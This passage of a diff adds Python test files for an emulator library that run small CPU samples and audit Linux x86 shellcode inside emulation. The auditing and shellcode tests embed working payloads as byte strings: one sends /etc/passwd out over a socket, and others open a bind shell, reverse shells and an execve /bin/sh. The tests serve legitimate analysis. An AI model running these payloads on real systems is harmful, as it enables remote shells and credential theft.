print(">>> R1 = 0x%x" % r1)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_mips_eb()
|
||||
print("=" * 27)
|
||||
test_mips_el()
|
||||
410
bindings/python/tests/test_network_auditing.py
Executable file
410
bindings/python/tests/test_network_auditing.py
Executable file
@@ -0,0 +1,410 @@
|
||||
#!/usr/bin/env python
|
||||
# Unicorn sample for auditing network connection and file handling in shellcode.
|
||||
# Nguyen Tan Cong <shenlongbk@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
import pytest
|
||||
import struct
|
||||
import uuid
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
|
||||
SIZE_REG = 4
|
||||
SOCKETCALL_MAX_ARGS = 3
|
||||
|
||||
SOCKET_TYPES = {
|
||||
1: "SOCK_STREAM",
|
||||
2: "SOCK_DGRAM",
|
||||
3: "SOCK_RAW",
|
||||
4: "SOCK_RDM",
|
||||
5: "SOCK_SEQPACKET",
|
||||
10: "SOCK_PACKET"
|
||||
}
|
||||
|
||||
ADDR_FAMILY = {
|
||||
0: "AF_UNSPEC",
|
||||
1: "AF_UNIX",
|
||||
2: "AF_INET",
|
||||
3: "AF_AX25",
|
||||
4: "AF_IPX",
|
||||
5: "AF_APPLETALK",
|
||||
6: "AF_NETROM",
|
||||
7: "AF_BRIDGE",
|
||||
8: "AF_AAL5",
|
||||
9: "AF_X25",
|
||||
10: "AF_INET6",
|
||||
12: "AF_MAX"
|
||||
}
|
||||
|
||||
# http://shell-storm.org/shellcode/files/shellcode-861.php
|
||||
X86_SEND_ETCPASSWD = b"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x01\x59\xb0\x3f\xcd\x80\xeb\x27\x6a\x05\x58\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01\x58\x43\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
|
||||
# http://shell-storm.org/shellcode/files/shellcode-882.php
|
||||
X86_BIND_TCP = b"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"
|
||||
|
||||
# http://shell-storm.org/shellcode/files/shellcode-883.php
|
||||
X86_REVERSE_TCP = b"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
|
||||
|
||||
# http://shell-storm.org/shellcode/files/shellcode-849.php
|
||||
X86_REVERSE_TCP_2 = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x01\x0a\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x1000000
|
||||
|
||||
|
||||
# supported classes
|
||||
class IdGenerator:
|
||||
def __init__(self):
|
||||
self.__next_id = 3 # exclude sdtin, stdout, stderr
|
||||
|
||||
def next(self):
|
||||
next_id = self.__next_id
|
||||
|
||||
self.__next_id += 1
|
||||
|
||||
return next_id
|
||||
|
||||
|
||||
class LogChain:
|
||||
def __init__(self):
|
||||
self.__chains = {}
|
||||
self.__linking_fds = {}
|
||||
|
||||
def clean(self):
|
||||
self.__chains = {}
|
||||
self.__linking_fds = {}
|
||||
|
||||
def create_chain(self, my_id):
|
||||
if not my_id in self.__chains:
|
||||
self.__chains[my_id] = []
|
||||
else:
|
||||
print("LogChain: id %d existed" % my_id)
|
||||
|
||||
def add_log(self, id, msg):
|
||||
fd = self.get_original_fd(id)
|
||||
|
||||
if fd is not None:
|
||||
self.__chains[fd].append(msg)
|
||||
else:
|
||||
print("LogChain: id %d doesn't exist" % id)
|
||||
|
||||
def link_fd(self, from_fd, to_fd):
|
||||
if not to_fd in self.__linking_fds:
|
||||
self.__linking_fds[to_fd] = []
|
||||
|
||||
self.__linking_fds[to_fd].append(from_fd)
|
||||
|
||||
def get_original_fd(self, fd):
|
||||
if fd in self.__chains:
|
||||
return fd
|
||||
|
||||
for orig_fd, links in self.__linking_fds.items():
|
||||
if fd in links:
|
||||
return orig_fd
|
||||
|
||||
return None
|
||||
|
||||
def print_report(self):
|
||||
print("""
|
||||
----------------
|
||||
| START REPORT |
|
||||
----------------
|
||||
""")
|
||||
|
||||
for my_id, logs in self.__chains.items():
|
||||
print("---- START FD(%d) ----" % my_id)
|
||||
print("\n".join(logs))
|
||||
print("---- END FD(%d) ----" % my_id)
|
||||
|
||||
print("""
|
||||
--------------
|
||||
| END REPORT |
|
||||
--------------
|
||||
""")
|
||||
|
||||
|
||||
# end supported classes
|
||||
|
||||
|
||||
# utilities
|
||||
def bin_to_ipv4(ip):
|
||||
return "%d.%d.%d.%d" % (
|
||||
(ip & 0xff000000) >> 24,
|
||||
(ip & 0xff0000) >> 16,
|
||||
(ip & 0xff00) >> 8,
|
||||
(ip & 0xff))
|
||||
|
||||
|
||||
def read_string(uc, addr):
|
||||
ret = ""
|
||||
|
||||
c = uc.mem_read(addr, 1)[0]
|
||||
read_bytes = 1
|
||||
|
||||
while c != 0x0:
|
||||
ret += chr(c)
|
||||
c = uc.mem_read(addr + read_bytes, 1)[0]
|
||||
read_bytes += 1
|
||||
|
||||
return ret
|
||||
|
||||
|
||||
def parse_sock_address(sock_addr):
|
||||
sin_family, = struct.unpack("<h", sock_addr[:2])
|
||||
|
||||
if sin_family == 2: # AF_INET
|
||||
port, host = struct.unpack(">HI", sock_addr[2:8])
|
||||
return "%s:%d" % (bin_to_ipv4(host), port)
|
||||
elif sin_family == 6: # AF_INET6
|
||||
return ""
|
||||
|
||||
|
||||
def print_sockcall(msg):
|
||||
print(">>> SOCKCALL %s" % msg)
|
||||
|
||||
|
||||
# end utilities
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
# read this instruction code from memory
|
||||
tmp = uc.mem_read(address, size)
|
||||
print(">>> Instruction code at [0x%x] =" % (address), end="")
|
||||
for i in tmp:
|
||||
print(" %x" % i, end="")
|
||||
print("")
|
||||
|
||||
|
||||
# callback for tracing Linux interrupt
|
||||
def hook_intr(uc, intno, user_data):
|
||||
global id_gen
|
||||
|
||||
# only handle Linux syscall
|
||||
if intno != 0x80:
|
||||
return
|
||||
|
||||
eax = uc.reg_read(UC_X86_REG_EAX)
|
||||
ebx = uc.reg_read(UC_X86_REG_EBX)
|
||||
ecx = uc.reg_read(UC_X86_REG_ECX)
|
||||
edx = uc.reg_read(UC_X86_REG_EDX)
|
||||
eip = uc.reg_read(UC_X86_REG_EIP)
|
||||
|
||||
# print(">>> INTERRUPT %d" % eax)
|
||||
|
||||
if eax == 1: # sys_exit
|
||||
print(">>> SYS_EXIT")
|
||||
uc.emu_stop()
|
||||
elif eax == 3: # sys_read
|
||||
fd = ebx
|
||||
buf = ecx
|
||||
count = edx
|
||||
|
||||
dummy_content = str(uuid.uuid1()).encode("latin1")[:32]
|
||||
if len(dummy_content) > count:
|
||||
dummy_content = dummy_content[:count]
|
||||
|
||||
uc.mem_write(buf, dummy_content)
|
||||
|
||||
msg = "read %d bytes from fd(%d) with dummy_content(%s)" % (count, fd, dummy_content)
|
||||
|
||||
fd_chains.add_log(fd, msg)
|
||||
print(">>> %s" % msg)
|
||||
elif eax == 4: # sys_write
|
||||
fd = ebx
|
||||
buf = ecx
|
||||
count = edx
|
||||
|
||||
content = uc.mem_read(buf, count)
|
||||
|
||||
msg = "write data=%s count=%d to fd(%d)" % (content, count, fd)
|
||||
|
||||
print(">>> %s" % msg)
|
||||
fd_chains.add_log(fd, msg)
|
||||
elif eax == 5: # sys_open
|
||||
filename_addr = ebx
|
||||
flags = ecx
|
||||
mode = edx
|
||||
filename = read_string(uc, filename_addr)
|
||||
|
||||
dummy_fd = id_gen.next()
|
||||
uc.reg_write(UC_X86_REG_EAX, dummy_fd)
|
||||
|
||||
msg = "open file (filename=%s flags=%d mode=%d) with fd(%d)" % (filename, flags, mode, dummy_fd)
|
||||
|
||||
fd_chains.create_chain(dummy_fd)
|
||||
fd_chains.add_log(dummy_fd, msg)
|
||||
print(">>> %s" % msg)
|
||||
elif eax == 11: # sys_execv
|
||||
# print(">>> ebx=0x%x, ecx=0x%x, edx=0x%x" % (ebx, ecx, edx))
|
||||
filename = read_string(uc, ebx)
|
||||
|
||||
print(">>> SYS_EXECV filename=%s" % filename)
|
||||
elif eax == 63: # sys_dup2
|
||||
fd_chains.link_fd(ecx, ebx)
|
||||
print(">>> SYS_DUP2 oldfd=%d newfd=%d" % (ebx, ecx))
|
||||
elif eax == 102: # sys_socketcall
|
||||
# ref: http://www.skyfree.org/linux/kernel_network/socket.html
|
||||
call = uc.reg_read(UC_X86_REG_EBX)
|
||||
args = uc.reg_read(UC_X86_REG_ECX)
|
||||
|
||||
SOCKETCALL_NUM_ARGS = {
|
||||
1: 3, # sys_socket
|
||||
2: 3, # sys_bind
|
||||
3: 3, # sys_connect
|
||||
4: 2, # sys_listen
|
||||
5: 3, # sys_accept
|
||||
9: 4, # sys_send
|
||||
11: 4, # sys_receive
|
||||
13: 2 # sys_shutdown
|
||||
}
|
||||
|
||||
buf = uc.mem_read(args, SOCKETCALL_NUM_ARGS[call] * SIZE_REG)
|
||||
args = struct.unpack("<" + "I" * SOCKETCALL_NUM_ARGS[call], buf)
|
||||
|
||||
# int sys_socketcall(int call, unsigned long *args)
|
||||
if call == 1: # sys_socket
|
||||
# err = sys_socket(a0,a1,a[2])
|
||||
# int sys_socket(int family, int type, int protocol)
|
||||
family = args[0]
|
||||
sock_type = args[1]
|
||||
protocol = args[2]
|
||||
|
||||
dummy_fd = id_gen.next()
|
||||
uc.reg_write(UC_X86_REG_EAX, dummy_fd)
|
||||
|
||||
if family == 2: # AF_INET
|
||||
|
||||
msg = "create socket (%s, %s) with fd(%d)" % (ADDR_FAMILY[family], SOCKET_TYPES[sock_type], dummy_fd)
|
||||
fd_chains.create_chain(dummy_fd)
|
||||
fd_chains.add_log(dummy_fd, msg)
|
||||
print_sockcall(msg)
|
||||
elif family == 3: # AF_INET6
|
||||
pass
|
||||
|
||||
elif call == 2: # sys_bind
|
||||
fd = args[0]
|
||||
umyaddr = args[1]
|
||||
addrlen = args[2]
|
||||
|
||||
sock_addr = uc.mem_read(umyaddr, addrlen)
|
||||
|
||||
msg = "fd(%d) bind to %s" % (fd, parse_sock_address(sock_addr))
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 3: # sys_connect
|
||||
# err = sys_connect(a0, (struct sockaddr *)a1, a[2])
|
||||
# int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen)
|
||||
fd = args[0]
|
||||
uservaddr = args[1]
|
||||
addrlen = args[2]
|
||||
|
||||
sock_addr = uc.mem_read(uservaddr, addrlen)
|
||||
msg = "fd(%d) connect to %s" % (fd, parse_sock_address(sock_addr))
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 4: # sys_listen
|
||||
fd = args[0]
|
||||
backlog = args[1]
|
||||
|
||||
msg = "fd(%d) listened with backlog=%d" % (fd, backlog)
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 5: # sys_accept
|
||||
fd = args[0]
|
||||
upeer_sockaddr = args[1]
|
||||
upeer_addrlen = args[2]
|
||||
|
||||
# print(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d" % (upeer_sockaddr, upeer_addrlen))
|
||||
|
||||
if upeer_sockaddr == 0x0:
|
||||
print_sockcall("fd(%d) accept client" % fd)
|
||||
else:
|
||||
upeer_len, = struct.unpack("<I", uc.mem_read(upeer_addrlen, 4))
|
||||
|
||||
sock_addr = uc.mem_read(upeer_sockaddr, upeer_len)
|
||||
|
||||
msg = "fd(%d) accept client with upeer=%s" % (fd, parse_sock_address(sock_addr))
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 9: # sys_send
|
||||
fd = args[0]
|
||||
buff = args[1]
|
||||
length = args[2]
|
||||
flags = args[3]
|
||||
|
||||
buf = uc.mem_read(buff, length)
|
||||
msg = "fd(%d) send data=%s" % (fd, buf)
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 11: # sys_receive
|
||||
fd = args[0]
|
||||
ubuf = args[1]
|
||||
size = args[2]
|
||||
flags = args[3]
|
||||
|
||||
msg = "fd(%d) is gonna receive data with size=%d flags=%d" % (fd, size, flags)
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
elif call == 13: # sys_shutdown
|
||||
fd = args[0]
|
||||
how = args[1]
|
||||
|
||||
msg = "fd(%d) is shutted down because of %d" % (fd, how)
|
||||
fd_chains.add_log(fd, msg)
|
||||
print_sockcall(msg)
|
||||
|
||||
|
||||
@pytest.mark.parametrize("code", [X86_SEND_ETCPASSWD, X86_BIND_TCP, X86_REVERSE_TCP, X86_REVERSE_TCP_2])
|
||||
# Test X86 32 bit
|
||||
def test_i386(code):
|
||||
global fd_chains
|
||||
|
||||
fd_chains.clean()
|
||||
print("Emulate i386 code")
|
||||
try:
|
||||
# Initialize emulator in X86-32bit mode
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, code)
|
||||
|
||||
# initialize stack
|
||||
mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
# mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# handle interrupt ourself
|
||||
mu.hook_add(UC_HOOK_INTR, hook_intr)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(code))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done")
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
fd_chains.print_report()
|
||||
|
||||
|
||||
# Globals
|
||||
fd_chains = LogChain()
|
||||
id_gen = IdGenerator()
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_i386(X86_SEND_ETCPASSWD)
|
||||
test_i386(X86_BIND_TCP)
|
||||
test_i386(X86_REVERSE_TCP)
|
||||
test_i386(X86_REVERSE_TCP_2)
|
||||
62
bindings/python/tests/test_ppc.py
Executable file
62
bindings/python/tests/test_ppc.py
Executable file
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for PPC of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.ppc_const import *
|
||||
|
||||
# code to be emulated
|
||||
PPC_CODE = b"\x7F\x46\x1A\x14" # add r26, r6, r3
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test PPC
|
||||
def test_ppc():
|
||||
print("Emulate PPC code")
|
||||
try:
|
||||
# Initialize emulator in PPC EB mode
|
||||
mu = Uc(UC_ARCH_PPC, UC_MODE_PPC32 | UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, PPC_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_PPC_REG_3, 0x1234)
|
||||
mu.reg_write(UC_PPC_REG_6, 0x6789)
|
||||
mu.reg_write(UC_PPC_REG_26, 0x5555)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(PPC_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r26 = mu.reg_read(UC_PPC_REG_26)
|
||||
print(">>> r26 = 0x%x" % r26)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_ppc()
|
||||
68
bindings/python/tests/test_riscv.py
Executable file
68
bindings/python/tests/test_riscv.py
Executable file
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for RISCV of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
|
||||
from __future__ import print_function
|
||||
from unicorn import *
|
||||
from unicorn.riscv_const import *
|
||||
|
||||
'''
|
||||
$ cstool riscv64 1305100093850502
|
||||
0 13 05 10 00 addi a0, zero, 1
|
||||
4 93 85 05 02 addi a1, a1, 0x20
|
||||
'''
|
||||
RISCV_CODE = b"\x13\x05\x10\x00\x93\x85\x05\x02"
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test RISCV
|
||||
def test_riscv():
|
||||
print("Emulate RISCV code")
|
||||
try:
|
||||
# Initialize emulator in RISCV32 mode
|
||||
mu = Uc(UC_ARCH_RISCV, UC_MODE_RISCV32)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, RISCV_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_RISCV_REG_A0, 0x1234)
|
||||
mu.reg_write(UC_RISCV_REG_A1, 0x7890)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(RISCV_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
a0 = mu.reg_read(UC_RISCV_REG_A0)
|
||||
a1 = mu.reg_read(UC_RISCV_REG_A1)
|
||||
print(">>> A0 = 0x%x" % a0)
|
||||
print(">>> A1 = 0x%x" % a1)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_riscv()
|
||||
62
bindings/python/tests/test_s390x.py
Normal file
62
bindings/python/tests/test_s390x.py
Normal file
@@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for S390x of Unicorn.
|
||||
|
||||
from unicorn import *
|
||||
from unicorn.s390x_const import *
|
||||
|
||||
# lr %r2, %r3
|
||||
S390X_CODE = b"\x18\x23"
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x10000
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
# Test RISCV
|
||||
def test_s390x():
|
||||
print("Emulate S390X code")
|
||||
try:
|
||||
# Initialize emulator in big endian mode
|
||||
mu = Uc(UC_ARCH_S390X, UC_MODE_BIG_ENDIAN)
|
||||
|
||||
# map 2MB memory for this emulation
|
||||
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
|
||||
|
||||
# write machine code to be emulated to memory
|
||||
mu.mem_write(ADDRESS, S390X_CODE)
|
||||
|
||||
# initialize machine registers
|
||||
mu.reg_write(UC_S390X_REG_R3, 0x7890)
|
||||
|
||||
# tracing all basic blocks with customized callback
|
||||
mu.hook_add(UC_HOOK_BLOCK, hook_block)
|
||||
|
||||
# tracing all instructions with customized callback
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code)
|
||||
|
||||
# emulate machine code in infinite time
|
||||
mu.emu_start(ADDRESS, ADDRESS + len(S390X_CODE))
|
||||
|
||||
# now print out some registers
|
||||
print(">>> Emulation done. Below is the CPU context")
|
||||
|
||||
r2 = mu.reg_read(UC_S390X_REG_R2)
|
||||
r3 = mu.reg_read(UC_S390X_REG_R3)
|
||||
print(">>> R2 = 0x%x" % r2)
|
||||
print(">>> R3 = 0x%x" % r3)
|
||||
|
||||
except UcError as e:
|
||||
print("ERROR: %s" % e)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_s390x()
|
||||
188
bindings/python/tests/test_shellcode.py
Executable file
188
bindings/python/tests/test_shellcode.py
Executable file
@@ -0,0 +1,188 @@
|
||||
#!/usr/bin/env python
|
||||
# Sample code for X86 of Unicorn.
|
||||
# Nguyen Anh Quynh <aquynh@gmail.com>
|
||||
# KaiJern Lau <kj@theshepherdlab.io>
|
||||
|
||||
from __future__ import print_function
|
||||
import pytest
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
|
||||
# Original shellcode from this example.
|
||||
# X86_CODE32 = b"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"
|
||||
|
||||
# Linux/x86 execve /bin/sh shellcode 23 bytes, from http://shell-storm.org/shellcode/files/shellcode-827.php
|
||||
# 0: 31 c0 xor eax,eax
|
||||
# 2: 50 push eax
|
||||
# 3: 68 2f 2f 73 68 push 0x68732f2f
|
||||
# 8: 68 2f 62 69 6e push 0x6e69622f
|
||||
# d: 89 e3 mov ebx,esp
|
||||
# f: 50 push eax
|
||||
# 10: 53 push ebx
|
||||
# 11: 89 e1 mov ecx,esp
|
||||
# 13: b0 0b mov al,0xb
|
||||
# 15: cd 80 int 0x80
|
||||
X86_CODE32 = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
|
||||
X86_CODE32_SELF = b"\xeb\x1c\x5a\x89\xd6\x8b\x02\x66\x3d\xca\x7d\x75\x06\x66\x05\x03\x03\x89\x02\xfe\xc2\x3d\x41\x41\x41\x41\x75\xe9\xff\xe6\xe8\xdf\xff\xff\xff\x31\xd2\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41\x41\x41\x41\x41"
|
||||
|
||||
# Linux/x86 64bit execve /bin/sh shellcode
|
||||
# 0: 48 31 ff xor rdi,rdi
|
||||
# 3: 57 push rdi
|
||||
# 4: 57 push rdi
|
||||
# 5: 5e pop rsi
|
||||
# 6: 5a pop rdx
|
||||
# 7: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f
|
||||
# e: 2f 73 68
|
||||
# 11: 48 c1 ef 08 shr rdi,0x8
|
||||
# 15: 57 push rdi
|
||||
# 16: 54 push rsp
|
||||
# 17: 5f pop rdi
|
||||
# 18: 6a 3b push 0x3b
|
||||
# 1a: 58 pop rax
|
||||
# 1b: 0f 05 syscall
|
||||
X86_CODE64 = b"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
|
||||
|
||||
# memory address where emulation starts
|
||||
ADDRESS = 0x1000000
|
||||
|
||||
|
||||
# callback for tracing instructions
|
||||
def hook_code(uc, address, size, user_data):
|
||||
print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size))
|
||||
# read this instruction code from memory
|
||||
tmp = uc.mem_read(address, size)
|
||||
print("*** PC = %x *** :" % (address), end="")
|
||||
for i in tmp:
|
||||
print(" %02x" % i, end="")
|
||||
print("")
|
||||
|
||||
|
||||
# callback for tracing basic blocks
|
||||
def hook_block(uc, address, size, user_data):
|
||||
print(">>> Tracing basic block at 0x%x, block size = 0x%x" % (address, size))
|
||||
|
||||
|
||||
def read_string(uc, address):
|
||||
ret = ""
|
||||
c = uc.mem_read(address, 1)[0]
|
||||
read_bytes = 1
|
||||
|
||||
while c != 0x0:
|
||||
ret += chr(c)
|
||||
c = uc.mem_read(address + read_bytes, 1)[0]
|
||||
read_bytes += 1
|
||||
return ret
|
||||
|
||||
|
||||
# callback for tracing Linux interrupt
|
||||
def hook_intr(uc, intno, user_data):
|
||||
# only handle Linux syscall
|
||||
if intno != 0x80:
|
||||
print("got interrupt %x ???" % intno)
|
||||
uc.emu_stop()
|
||||
return
|
||||
|
||||
eax = uc.reg_read(UC_X86_REG_EAX)
|
||||
eip = uc.reg_read(UC_X86_REG_EIP)
|
||||
|
||||
if eax == 1: # sys_exit
|
||||
print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" % (eip, intno, eax))
|
||||
uc.emu_stop()
|
||||
elif eax == 4: # sys_write
|
||||
# ECX = buffer address
|
||||
ecx = uc.reg_read(UC_X86_REG_ECX)
|
||||
# EDX = buffer size
|
||||
edx = uc.reg_read(UC_X86_REG_EDX)
|
||||
try:
|
||||
buf = uc.mem_read(ecx, edx)
|
||||
print(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = " \
|
||||
% (eip, intno, ecx, edx), end="")
|
||||
for i in buf:
|
||||
print("%c" % i, end="")
|
||||
print("")
|
||||
except UcError as e:
|
||||
print(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = <unknown>\n" \
|
||||
% (eip, intno, ecx, edx))
|
||||
elif eax == 11: # sys_write
|
||||
ebx = uc.reg_read(UC_X86_REG_EBX)
|
||||
filename = read_string(uc, ebx)
|
||||
print(">>> SYS_EXECV filename=%s" % filename)
|
||||
else:
|
||||
print(">>> 0x%x: interrupt 0x%x, EAX = 0x%x" % (eip, intno, eax))
|
||||
|
||||
|
||||
def hook_syscall32(mu, user_data):
|
||||
eax = mu.reg_read(UC_X86_REG_EAX)
|
||||
print(">>> got SYSCALL with EAX = 0x%x" % (eax))
|
||||
mu.emu_stop()
|
||||
|
||||
|
||||
def hook_syscall64(mu, user_data):
|
||||
rax = mu.reg_read(UC_X86_REG_RAX)
|
||||
rdi = mu.reg_read(UC_X86_REG_RDI)
|
||||
|
||||
print(">>> got SYSCALL with RAX = %d" % (rax))
|
||||
|
||||
if rax == 59: # sys_execve
|
||||
filename = read_string(mu, rdi)
|
||||
print(">>> SYS_EXECV filename=%s" % filename)
|
||||
|
||||
else:
|
||||
rip = mu.reg_read(UC_X86_REG_RIP)
|
||||
print(">>> Syscall Found at 0x%x: , RAX = 0x%x" % (rip, rax))
|
